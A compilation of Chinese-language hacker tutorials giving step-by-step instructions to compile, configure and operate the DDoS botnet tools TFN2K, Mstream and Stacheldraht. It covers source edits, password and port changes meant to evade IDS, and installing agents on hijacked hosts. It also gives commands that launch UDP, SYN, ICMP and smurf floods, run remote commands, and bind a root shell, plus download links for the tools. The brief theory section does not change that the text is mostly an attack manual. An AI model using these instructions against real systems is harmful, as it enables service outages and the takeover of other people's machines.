以下的工具基本只是介绍了编译的使用的方法,很少介绍这个工具本身,如果你不知道这个工具,那么它对你是没有用处的,如果你因为某种需要,想要编译这些工具,那么希望它对你有些用处。
以下内容和附件中一致。
因为我找到的Trinoo编译后攻击效果不好, 所以没有写Trinoo。
----------------------------------------------------------------------------------------------
######################### TFN2K ##############################
什么是TFN2K?
------------
TFN2K 的作者是著名的德国黑客mixter.
http://mixter.void.ru/papers.html
TFN2K通过主控端利用大量代理端主机的资源进行对一个或多个目标进行协同攻击。当前互联网中的
UNIX、Solaris和Windows NT等平台的主机能被用于此类攻击,而且这个工具非常容易被移植到其它系统
平台上。
TFN2K由两部分组成:在主控端主机上的客户端和在代理端主机上的守护进程。主控端向其代理端发
送攻击指定的目标主机列表。代理端据此对目标进行拒绝服务攻击。由一个主控端控制的多个代理端主
机,能够在攻击过程中相互协同,保证攻击的连续性。主控央和代理端的网络通讯是经过加密的,还可
能混杂了许多虚假数据包。整个TFN2K网络可能使用不同的TCP、UDP或ICMP包进行通讯。而且主控端还能
伪造其IP地址。所有这些特性都使发展防御 TFN2K攻击的策略和技术都非常困难或效率低下。
如何使用TFN2K?
--------------
我的使用环境:Linux
1, 解压
tar zxvf tfn2k.tgz
2, 修改
a. src/Makefile
如果你的系统是linux系统,不需要做任何修就可以, 如果你想生产Windows下的代理端,需要做
一 些修改,但是我编译后的文件在Win2000 & WinXP下出错。
b. src/ip.h
注释掉以下部分,否则编译出错。
/*struct in_addr
{
unsigned long int s_addr;
};*/
3,编译
a. cd tfn2k
make
或者:
b. cd tfn2k/src
make
在提示设置密码后,会生成 tfn 和 td 两个文件,其中 tfn 是控制段,td 是守护进程。
4, 安装 td
自己去安装吧,需要root权限。
5, 攻击
a. 编辑一个文本文件,将安装了 td 的机器的ip地址添加进去, 格式为:
ip
ip
...
...
b. 测试代理端(可选)
./tfn -f host.txt -c 10 -i "mkdir /tmp/test_TFN2K"
检查安装了 td 的机器是否存在 /tmp/test_TFN2K 目录
c. ./tfn 列出命令的格式和参数
./tfn -f host -c 4 -i 1.1.1.1 对1.1.1.1发动 UDP flood 攻击
######################### Mstream ##############################
mstream的源程序共有两个文件:master.c 和 server.c
其中server.c用于生成agent端程序server, master.c用于生成控制端程序 master.
简单使用流程:
client(s)-->handler(s)-->agent(s)-->victim(s)
clent: attacker所在主机
handler: 运行 master 程序
agent: 运行 server 程序
victim: 被攻击主机
1, 修改源程序以符合自己的要求
注: 修改口令能防止自己的agent被滥用, 修改控制端口利于躲避IDS的探测.
server.c
-----------------------------
#define PASSWORD "pssword"
#define SERVERFILE ".sr"
#define MASTER_TCP_PORT 6723
#define MASTER_UDP_PORT 9325
#define SERVER_PORT 7983
#define MAXUSERS 3
#define USED 1
#define AUTH 2
#define max(one, two) (one > two ? one : two)
...
....
-------------------------------
其中比较关键是:
#define PASSWORD "pssword" 将"password"替换成你自己的密码
#define MASTER_TCP_PORT 6723 和 #define MASTER_UDP_PORT 9325 是设置控制端口需要和master.c中
一致.
master.c
---------------------------------------
char *m[]={
"1.1.1.1", /* first master */
"2.2.2.2", /* second master */
"3.3.3.3", /* third master etc */
0 };
#define MASTER_PORT 9325
#define SERVER_PORT 7983
...
...
-----------------------------------------
char *m[]={
"1.1.1.1", /* first master */
"2.2.2.2", /* second master */
"3.3.3.3", /* third master etc */
0 };
以上的ip地址要根据需要设置成你自己的.
#define MASTER_PORT 9325
#define SERVER_PORT 7983
以上端口要和server.c中的设置一致.
2, 编译
gcc -o master master.c
gcc -o server server.c
3, 安装
自己选择合适的机器安装master和server程序. 并运行.
4, 使用
a. telnet ip port # ip 为运行master的主机, port为编译时设置的master_port
输入编译时设置的密码后, 进入handler控制模式:
如下:
--------------------
# telnet 1.1.1.1 6723
Trying 1.1.1.1...
Connected to 1.1.1.1 (1.1.1.1).
Escape character is '^]'.
password
> help
Available commands:
stream -- stream attack !
servers -- Prints all known servers.
ping -- ping all servers.
who -- tells you the ips of the people logged in
mstream -- lets you stream more than one ip at a time
>
----------------------
命令简介:
注:测试中我发现我这个版本的stream命令没有效果,均使用mstream发起攻击。
servers
显示当前所有已知Agents
who
显示当前已建立连接的用户
ping
确认Agents的活动状态。对所有已知Agents发送"ping",每收到一个"pong"回应
就报告用户。
stream <hostname> <seconds>
针对单个主机攻击,seconds指定攻击持续时间。Handler将主机名解析成IP地址
并发送命令"mstream/arg1:arg1/arg2"到所有Agents,这里arg1是victim目标IP
地址,arg2是攻击持续时间。
mstream <ip1:ip2:ip3:...> <seconds>
针对多台主机攻击,seconds指定攻击持续时间。Handler发送命令
"mstream/arg1/arg2"到所有Agents,这里arg1是冒号分隔的victim目标IP地址
列表,arg2是攻击持续时间。
quit
终止Attacker到Handler的连接
b. > mstream 123.123.123.123 60
对主机123.123.123.123发动60秒攻击
> mstream 1.1.1.1:2.2.2.2:3.3.3.3 60
对多台主机同时发起攻击
######################### stacheldraht ##############################
Stacheldraht攻击网络由一个或多个主控程序("mserv.c")和大量的代理程序("leaf/td.c")组
成,同时还有用于提供加密功能的网络连接和通讯程序("telnet.c/client.c")。一个典型网络结构如
下:
攻击者-->主控端-->代理端-->受害者
1, 解压
# tar zvfz stachel.tgz
# cd stacheldrahtV4
# ls -l
total 136
-rw-r--r-- 1 root root 13232 Aug 25 1999 bf_tab.h
-rw-r--r-- 1 root root 6597 Aug 25 1999 blowfish.c
-rw-r--r-- 1 root root 1291 Aug 25 1999 blowfish.h
-rw-r--r-- 1 root root 1276 Feb 5 2000 config.h
drwxr-xr-x 2 root root 4096 Dec 13 11:15 leaf
-rw-r--r-- 1 root root 167 Sep 16 1999 Makefile
-rwxr-xr-x 1 root root 46244 Dec 13 10:12 mserv
-rw-r--r-- 1 root root 39685 Dec 13 11:01 mserv.c
drwxr-xr-x 2 root root 4096 Dec 13 11:08 telnetc
-rw-r--r-- 1 root root 3089 Aug 25 1999 tubby.h
2,修改源代码(注:行数仅供参考)
a、stacheldrahtV4/leaf/control.h
下述部分需要注释掉
-------------------------------------------------------
12 /*
13 #ifdef LINUX
14 struct timeval
15 {
16 time_t tv_sec; // Seconds.
17 time_t tv_usec; // Microseconds.
18 };
19 #endif
20 */
b、端口:
下面三个程序的端口要设置对应,即mserv.c的MSERVERPORT和COMMANDPORT要和td.c、client.c对应
。
密码:
本部分比较关键,很多在编译完成后用clinet连接主控端的时候不知道口令, 因为口令是用3DES加
密后放在
mesrv.c 的 24 //#define SALT "dRFWfIGlF0zrE" , "dRFWfIGlF0zrE"就是加密后的口令. 它
是用口令的明文和client.c中的
"zA" (175 strcpy(result,crypt(password,"zA")):)经过3DES加密后的结果。
因为流传到你手中的源代码几乎肯定是被人修改过的, 多以我们需要重新建立自己的密码。可以用
下面的代码:
crypt.c
--------------------------------------
#include <stdio.h>
#include <crypt.h>
int main() // int argc, char **argv)
{
char *input = "11111111";
char *salt = "zA";
printf("%s\n", crypt(input, salt));
return 0;
}
----------------------------------------
# gcc -lcrypt -o crypt crypt.c
# ./crypt
zAj9s/lEcOIC. //此为密码明文11111111和zA加密后的密文
将密文"zAj9s/lEcOIC."替换mesrv.c 的"dRFWfIGlF0zrE"(24 //#define SALT "dRFWfIGlF0zrE")
注意""需要保留. 此时编译后的密码为"11111111" 。
td.c
-----------------------------------------
38 /* default masterservers */-
39 #define MSERVER1 "10.2.0.100"
40 #define MSERVER2 "192.168.0.84"
59 #define COMMANDPORT 65513
mserv.c
-------------------------------------------
23 /* salt generated with crypt */
25 #define SALT "zAj9s/lEcOIC."
26
27 /* port the masterserver listens on */
28 #define MSERVERPORT 65512
37 #define LOCALIP "10.2.0.100"
41 /* port floodserver waits for the ping */
42 #define COMMANDPORT 65513
client.c
-----------------------------------------------
24 #define MASTERSERVERPORT 65512
25 #define timeout 10
175 strcpy(result,crypt(password,"zA"));
3、编译
分别在3个目录中运行make后,生成了文件mesrv、clinet和td。
4、安装
将client和mesrv安装到你需要(能够)安装的机器,并运行。
5、使用
# ./client 1.1.1.1 //安装了msecrv的机器的ip
[*] stacheldraht [*]
(c) in 1999 by randomizer
trying to connect...
connection established.
--------------------------------------
enter the passphrase : 11111111 //我们设置的密码是"11111111"
--------------------------------------
entering interactive session.
******************************
welcome to stacheldraht
******************************
type .help if you are lame
stacheldraht(status: a!1 d!0)> //提示的"a!1 d!0"表示当前有活动和停止的代理端主机数量
stacheldraht(status: a!1 d!0)>.help
available commands in this version are:
--------------------------------------------------
.mtimer .mudp .micmp .msyn .msort .mping
.madd .mlist .msadd .msrem .distro .help
.setusize .setisize .mdie .sprange .mstop .killall
.showdead .showalive
--------------------------------------------------
stacheldraht(status: a!1 d!0)>
使用命令如下:
.distro user server
通知代理端程序使用"rcp"命令将其自身在主机"server"以"user"帐号安装并运行。
.help
显示帮助信息。
.killall
杀死所有活动的代理端程序。
.madd ip1[:ip2[:ipN]]
添加IP地址到攻击目标列表中。
.mdie
向所有代理端程序发送"die"请求。
.mdos
启动拒绝服务攻击。
.micmp ip1[:ip2[:ipN]]
启动针对指定主机的ICMP flood攻击。
.mlist
列出当前正被进行拒绝服务攻击的主机IP地址。
.mping
测试所有的代理端是否仍在活动。
.msadd
添加新的主控端主机到列表中。
.msort
排序输出已停止/正活动的代理端。
.mstop ip1[:ip2[:ipN]]
.mstop all
停止指定IP地址或所有的攻击。
.msrem
从列表中删除一个主控端主机。
.msyn ip1[:ip2[:ipN]]
启动对指定主机的SYN flood攻击。
.mtimer seconds
设置攻击持续时间。
.mudp ip1[:ip2[:ipN]]
启动对指定主机的UDP flood攻击。
.setisize
设置ICMP攻击包大小(最大:1024,缺省:1024)。
.setusize
设置UDP攻击包大小(最大:1024,缺省:1024)。
.showalive
显示所有“正活动”的代理端主机。
.showdead
显示所有“已停止”的代理端主机。
.sprange lowport-highport
设置SYN flood攻击的端口范围(缺省为0-140)。
####################################################################################
2004-12-13
ryan
bobswang@gmail.com
tfn2k使用方法和对策(1)
今年年初,一些黑客使用DDoS向Yahoo,eBay等著名站点发起攻击,并且使yahoo瘫痪。1999.10月ISS就预言DDoS将成为2000年最流行的攻击手法。国内近期也发生了许多DDoS事件。佳佳刚考完Toefl可以清闲几天,于是就整理一下几个著名工具的代码,汇报被大家。
这里佳佳主要介绍tfn2k,因为它最著名嘛!主要分为使用说明,攻击实例,程序分析,防范手段等几部分。
简介:
TFN被认为是当今功能最强性能最好的DoS攻击工具,几乎不可能被察觉。作者发布这个工具的出发点是什么呢?作者向你保证它不会伤害公司或个人。但是它会吓一吓那些不关心系统安全的人,因为现在精密的工具被不断改善,并且被私人持有,他们许多都是不可预测的。现在是每一个人都清醒的时候了,每一个人都应该意识到假如他不足够关心他的安全问题,最坏的情形就会发生。
因此这个程序被设计成大多数的操作系统可以编译,以表明现在的操作系统没有特别安全的,包括Windows,Solaris,Linux及其他各种unix.
特点描述:
TFN使用了分布式客户服务器功能,加密技术及其它类的功能,它能被用于控制任意数量的远程机器,以产生随机匿名的拒绝服务攻击和远程访问。
此版本的新特点包括:
1。功能性增加:
为分布式执行控制的远程单路命令执行
对软弱路由器的混合攻击
对有IP栈弱点的系统发动Targa3攻击
对许多unix系统和WinNT的兼容性。
2。匿名秘密的客户服务器通讯使用:
假的源地址
高级加密
单路通讯协议
通过随机IP协议发送消息
诱骗包
编译:
在编译之前,先要编辑src/makefile文件修改选项符合你的操作系统。建议你看一下src/config.h然后修改一些重要的缺省值。
一旦你开始编译,你会被提示输入一个8--32位的服务器密码。如果你使用REQUIRE_PASS类型编译,在使用客户端时你必须输入这个密码。
安装:
TFN服务器端被安装运行于主机,身份是root(或euid root)。
它将用自己的方式提交系统配置的改变,于是如果系统重启你也得重启。一旦服务器端被安装,你就可以把主机名加入你的列表了(当然你也可以联系单个的服务器端)。TFN的客户端可以运行在shell(root)和Windows命令行(管理员权限需要在NT上).
使用客户端:
客户端用于联系服务器端,可以改变服务器端的配置,衍生一个shell,控制攻击许多其它的机器。你可以tfn -f file从一个主机名文件读取主机名,也可以使用tfn -h hostname联系一个服务器端。
缺省的命令是通过杀死所有的子线程停止攻击。命令一般用-c
请看下面的命令行描述。 选项-i需要给命令一个值,分析目标主机字符串,这个目标主机字符串缺省用分界符@。
当使用smurf flood时,只有第一个是被攻击主机,其余被用于直接广播。
ID 1 -反欺骗级:服务器产生的DoS攻击总是来源于虚假的源地址。通过这个命令,你可以控制IP地址的哪些部分是虚假的,哪些部分是真实的IP。
ID 2 -改变包尺寸:缺省的ICMP/8,smurf,udp攻击缺省使用最小包。你可以通过改变每个包的有效载荷的字节增加它的大小。
ID 3 - 绑定root shell:启动一个会话服务,然后你连接一个指定端口就可以得到一个root shell。
ID 4 - UDP flood 攻击:这个攻击是利用这样一个事实:每个udp包被送往一个关闭的端口,这样就会有一个ICMP不可到达的信息返回,增加了攻击的能力。
ID5 - SYN flood 攻击:这个攻击有规律的送虚假的连接请求。结果会是目标端口拒绝服务,添瞒TCP连接表,通过对不存在主机的TCP/RST响应增加攻击潜力。
ID 6 - ICMP响应(ping)攻击:这个攻击发送虚假地址的ping请求,目标主机会回送相同大小的响应包。
ID 7 - SMURF 攻击:用目标主机的地址发送ping请求以广播扩大,这样目标主机将得到回复一个多倍的回复。
ID 8 - MIX攻击:按照1:1:1的关系交替的发送udp,syn,icmp包,这样就可以对付路由器,其它包转发设备,NIDS,sniffers等。
ID 9 -TARGA3攻击
ID 10 - 远程命令执行:给予单路在服务器上执行大量远程命令的机会。更复杂的用法请看4.1节。
更多的选项请看命令行帮助。
使用tfn用于分布式任务
Using TFN for other distributed tasks
依照CERT的安全报告,新版本的DDOS工具包含一个最新流行的特点:软件的自我更新。
TFN也有这个功能,作者并没有显式的包含这个功能。在ID 10远程执行命令中给予用户在任意数量远程主机上以批处理的形式执行同样shell命令的能力。这同时也证明了一个问题:DDOS等类似的分布式网络工具不仅仅简单的用于拒绝服务,还可以做许多实际的事情。
使用方法:
usage: ./tfn
[-P protocol] Protocol for server communication. Can be ICMP, UDP or TCP.
Uses a random protocol as default
[-D n] Send out n bogus requests for each real one to decoy targets
[-S host/ip] Specify your source IP. Randomly spoofed by default, you need
to use your real IP if you are behind spoof-filtering routers
[-f hostlist] Filename containing a list of hosts with TFN servers to contact
[-h hostname] To contact only a single host running a TFN server
[-i target string] Contains options/targets separated by '@', see below
[-p port] A TCP destination port can be specified for SYN floods
<-c command ID> 0 - Halt all current floods on server(s) immediately
1 - Change IP antispoof-level (evade rfc2267 filtering)
usage: -i 0 (fully spoofed) to -i 3 (/24 host bytes spoofed)
2 - Change Packet size, usage: -i
3 - Bind root shell to a port, usage: -i
4 - UDP flood, usage: -i victim@victim2@victim3@...
5 - TCP/SYN flood, usage: -i victim@... [-p destination port]
6 - ICMP/PING flood, usage: -i victim@...
7 - ICMP/SMURF flood, usage: -i victim@broadcast@broadcast2@...
8 - MIX flood (UDP/TCP/ICMP interchanged), usage: -i victim@...
9 - TARGA3 flood (IP stack penetration), usage: -i victim@...
10 - Blindly execute remote shell command, usage -i command
看到这里,你是不是有许多不明白,这上面只是佳佳把原作者(mixter)的使用说明大致翻译了一下,一些东西,象新特点呀,新增功能呀,知不知道无所谓啦!以后再看吧!
下一篇文章呢,佳佳会给出一次详细的攻击过程,是佳佳在Linux上测试的。可是重点的重点啊!等着吧。。。
jjgirl 10.24.2000
jjgirl@363.net
http://jjgirl.yeah.net
对了,补充一点。下载地址:http://packetstorm.securify.com/groups/mixter/tfn.tgz
tfn2k使用方法和对策(2)
jjgirl
--------------------------------------------------------------------------------
佳佳继续上一次的文章,这一次是攻击测试。
测试环境:
共有5台机器,佳佳是在五台redhat linux6.2上测试的。
192.168.111.1
192.168.111.2
192.168.111.3
192.168.111.55
192.168.111.88
测试目的:?????(感受一下yahoo怎么被攻击的)
简要介绍:
我们的测试目的是用192.168.111.55指挥192.168.111.1,192.168.111.2,192.168.111.3
三台机器对192.168.111.88发动攻击。(实际攻击中就不止三台了。)
因此我们的步骤如下:
0。黑客攻击时事先要控制192.168.111.1,192.168.111.2,192.168.111.3,192.168.111.55这四台机器。也就是我们俗称的“肉鸡”。
1。编译代码。
2。在192.168.111.1,192.168.111.2,192.168.111.3上安装td。
3。在192.168.111.55安装tfn。
4。由192.168.111.55指挥192.168.111.1,192.168.111.2,192.168.111.3
对192.168.111.88发动攻击。
5。攻击结束。
详细步骤:
0。黑客攻击时事先要控制192.168.111.1,192.168.111.2,192.168.111.3,192.168.111.55这四台机器。
这一步我就不说了,大家一定有办法。。。
1。编译代码。
假设在192.168.112.55上。。。
首先一定要有root权限
$su
#
解开文件:
#tar zxvf tfn2k.tgz
#cd tfn2k
如果你不是linux或者bsd请修改src下的Makefile文件。(有一网友问佳佳,solaris为什么不行。如果你修改了Makefile,把linux改成了solaris仍然不行,佳佳也不知道了,因为佳佳没有solaris的测试环境。)
#make
make过程中会让你输入一个密码,8--32位的。那就输入一个吧,将来tfn和td联系时需要这个密码。我输入的是:aaaabbbb
make完成你会发现,多了两个可执行文件:tfn,td
2。在192.168.111.1,192.168.111.2,192.168.111.3上安装td。
#ftp 192.168.111.1
ftp>bin
fpt>put td
ftp>by
ftp的具体步骤我就不说了,大家一定都知道。
同样方法:ftp 192.168.111.2
ftp 192.168.111.3
然后在分别在192.168.111.1,192.168.111.2,192.168.111.3上
#./td
注意一定要有root权限,否则无法运行。
3。在192.168.111.55安装tfn。
由于我们是在192.168.111.55上编译的,tfn就已经在了。
4。由192.168.111.55指挥192.168.111.1,192.168.111.2,192.168.111.3对192.168.111.88发动攻击。
好了,我们终于完成了准备工作,攻击可以开始了。。。
我现在在192.168.111.55的/tfn2k/目录下。。。
我们需要编辑一个文件列表。
#vi hosts.txt
文件第一行输入:192.168.111.1
文件第二行输入:192.168.111.2
文件第三行输入:192.168.111.3
这就是控制文件列表。
然后我们测试一下连接。
在192.168.111.55上。。。
下面的命令意思是:在hosts.txt文件中的机器上执行远程命令“mkdir jjgirl”,其中-c 10表示执行远程命令。执行完这个命令就会在那三台机器上都建立jjgirl目录。当然你可以随便执行其他的命令。
#./tfn -f hosts.txt -c 10 -i "mkdir jjgirl"
Protocol : random
Source IP : random
Client input : list
Command : execute remote command
Password verification: (这时我们输入密码:aaaabbbb)
Sending out packets: .
好了,完成。
然后我们在192.168.111.1上执行:
#find / -name jjgirl -print
好,找到了。说明我们连接成功。。。
下面开始正式攻击了。。。
你可以在192.168.111.1上:
#./ntop
运行ntop查看流量。
先来ICMP攻击
#./tfn -f hosts.txt -c 6 -i 192.168.111.88(十分钟,192.168.111.88就死机了)
重启,接着测试。。。
SYN/TCP攻击:
#./tfn -f hosts.txt -c 5 -i 192.168.111.88 -p 80
UDP攻击:
#./tfn -f hosts.txt -c 4 -i 192.168.111.88
ICMP/TCP/UDP轮流攻击:
#./tfn -f hosts.txt -c 8 -i 192.168.111.88
5。攻击结束
如果我们想停止攻击:
#./tfn -f host.txt -c 0
实际tfn还有许多攻击选项,大家可以再回头看我的第一篇文章,看一下-c后面的11个选项。
整个测试结束。由于我是在局域网测试速度比较快。实际对yahoo等攻击时至少有几十台机器吧。
好了,下一篇文章主要分析tfn的源代码,有兴趣的同学接着等。。。
jjgirl 10.29.2000
jjgirl@363.net
http://jjgirl.yeah.net
下载地址:
http://darknet.evilnerds.org/dos/ddos/tfn2k.tgz
tfn2k使用方法和对策(3)
jjgirl
--------------------------------------------------------------------------------
本来想再分两次写完本文,后来发现佳佳要翻译的两篇文章
http://packetstorm.securify.com/distributed/TFN2k_Analysis-1.3.txt
http://packetstorm.securify.com/distributed/tfn.analysis.txt
backend已经翻译过(本文最后给出了链接),佳佳就不做太多重复劳动了。
先介绍一下DDoS攻击的原理:
DDoS把DoS又向前发展了一步,DDoS的行为更为自动化,它可以方便地协调从多台计算机上启动的进程,让一股DoS洪流冲击网络,并使网络因过载而崩溃。确切地讲,DDoS攻击是指在不同的高带宽主机上安装大量的DoS服务程序,它们等待来自中央客户端的命令,中央客户端随后通知全体受控服务程序,并批示它们对一个特定目标发送尽可能多的网络访问请求。
对DoS而言,其攻击方式很多,主要使用的攻击有4种,分别是TCP-SYN flood,UDP flood,ICMP flood,smurf。
TCP--- 当用户进行一次标准的TCP连接时,会有一个3次握手过程。首先是请求服务方发送一个SYN消息,服务方收到SYN后,会向请求方回送一个SYN-ACK表示确认,当请求方收到SYN-ACK后,再次向服务方发送一个ACK消息,这样,一次TCP连接建立成功。但是TCP-SYN flood在实现过程中只进行前2个步骤:当服务方收到请求方的SYN-ACK确认消息后,请求方由于采用源地址欺骗等手段使得服务方收不到ACK回应,于是,服务方会在一定时间处于等待接收请求方ACK消息的状态。对于某台服务器来说,可用的TCP连接是有限的,如果恶意攻击方快速连续地发送此类连接请求,该服务器可用的TCP连接队列将很快被阻塞,系统可用资源急剧减少,网络可用带宽迅速缩小,长此下去,网络将无法向用户提供正常的服务。
UDP---- 由于UDP(用户数据包协议)在网络中的应用比较广泛,基于UDP攻击种类也较多。如今在Internet上提供WWW和Mail等服务设备通常是使用Unix的服务器,它们默认一些被恶意利用的UDP服务,如echo和chargen服务,它会显示接收到的每一个数据包,而原本作为测试功能的chargen服务会在收到每一个数据包时随机反馈一些字符,如果恶意攻击者将这2个UDP服务互指,则网络可用带宽将很快耗尽。
ICMP----由于在早期的阶段,路由器对包的最大尺寸都有限制,许多操作系统对TCP/IP栈的实现在ICMP包上都是规定64KB,并且在对包的标题头进行读取之后,要根据该标题头里包含的信息来为有效载荷生成缓冲区,当产生畸形的,声称自己的尺寸超过ICMP上限的包也就是加载的尺寸超过64K上限时,就会出现内存分配错误,导致TCP/IP堆栈崩溃,致使接受方当机。如果对方的操作系统已经可以防御堆栈崩溃,也占去许多带宽。
Smurf----一个简单的smurf攻击通过使用将回复地址设置成受害网络的广播地址的ICMP应答请求(ping)数据包来淹没受害主机的方式进行,最终导致该网络的所有主机都对此ICMP应答请求作出答复,导致网络阻塞,比ping of death洪水的流量高出一或两个数量级。更加复杂的Smurf将源地址改为第三方的受害者,最终导致第三方雪崩。
tfn2k的程序及分析:
在你执行
$tar zxvf tfn2k.tgz
以后
在src目录下就是源文件,
其中主要的两个文件就是tfn.c和td.c
你可以看一下Makefile文件
SERVER_OBJ = pass.o aes.o base64.o cast.o flood.o ip.o process.o tribe.o td.o
CLIENT_OBJ = pass.o aes.o base64.o cast.o ip.o tribe.o tfn.o
可以看出tfn和td各是由哪些.o链接而成的。
tfn.c:
tfn和td的网络通讯是经过CAST-256算法(RFC 2612)加密,还可能混杂了许多虚假数据包。参看security_through_obscurity()和encode64()等函数。
尽管tfn没有密码保护,每一个发送给td的命令都有一个16位二进制形式的数在ICMP_ECHOREPLY包的id域。这个序列号通常是0x0000,这样看起来更象ping初始包的响应。参看passchk()函数。
tfn_sendto()函数是根据hosts.txt向td发命令。
usage()函数是使用帮助。
td.c:
td的守护程序是完全沉默的,它不会对接收到的命令有任何回应。客户端重复发送每一个命令20次(RETRY=20),并且认为守护程序应该至少能接收到其中一个。如果没有接收到需要重新发送,你也可以修改RETRY(tfn.c文件中)的值。
守护进程为每一个攻击产生子进程(td.c文件中)。
在看td.c文件时有些迷惑,它作为服务器端并没有绑定固定的端口,后来才明白从tfn到td的通讯是通过ICMP_ECHOREPLY数据包完成,这样在tfn和td就没有任何基于TCP或UDP的通讯了。
td试图通过修改argv[0]内容以掩饰自己。伪造的进程名在编译时指定,因此每次安装时都有可能不同。这个功能使TFN2K伪装成代理端主机的普通正常进程。只是简单地检查进程列表未必能找到td(及其子进程),在你运行
#./td
以后,在运行
#ps -af
可能根本就找不到td.(不要以为它没有运行啊!)。
td.c的tribe_cmd()是根据id(0--10)执行命令,它要调用process.c中的函数。
process.c中的commerce_syn(),commerce_udp(),commerce_icmp(),commerce_mix(),commerce_smurf()等函数就是发动攻击的具体程序,根据id(0--11)分别对应着tcp,udp,icmp,mix,smurf等攻击。
防御措施:
见下列链接文章,我就不重复了。
其它DDoS工具
1. Trinoo: 它是基于UDP flood的攻击软件,它向被攻击目标主机的随机端口发出全零的4字节UDP包,在处理这些超出其处理能力垃圾数据包的过程中,被攻击主机的网络性能不断下降,直到不能提供正常服务,乃至崩溃,它对IP地址不做假,此攻击方法用得不如TFN多。
下载地址:http://darknet.evilnerds.org/dos/ddos/trinoo.tar.gz
2. Stacheldraht:对命令来源做假,而且可以防范一些路由器用RFC2267过滤。若检查出有过滤现象,它将只做假IP地址最后8位,从而让用户无法了解到底是哪几个网段的哪台机器被攻击。此外,它还具有自动更新功能,可随软件的更新而自动更新。
下载地址:http://darknet.evilnerds.org/dos/ddos/stachel-yps.tar.gz
关于TFN2K的探讨就此结束,其实许多前辈都撰文写过此类的文章。我只是参考他们的文章(中文或英文),并细节化了一些。如果有指教或有问题请来信jjgirl@sina.com或在我的BBS留言。感谢你耐心看完佳佳写的不怎么样的文章。
jjgirl 11.10.2000
http://jjgirl.yeah.net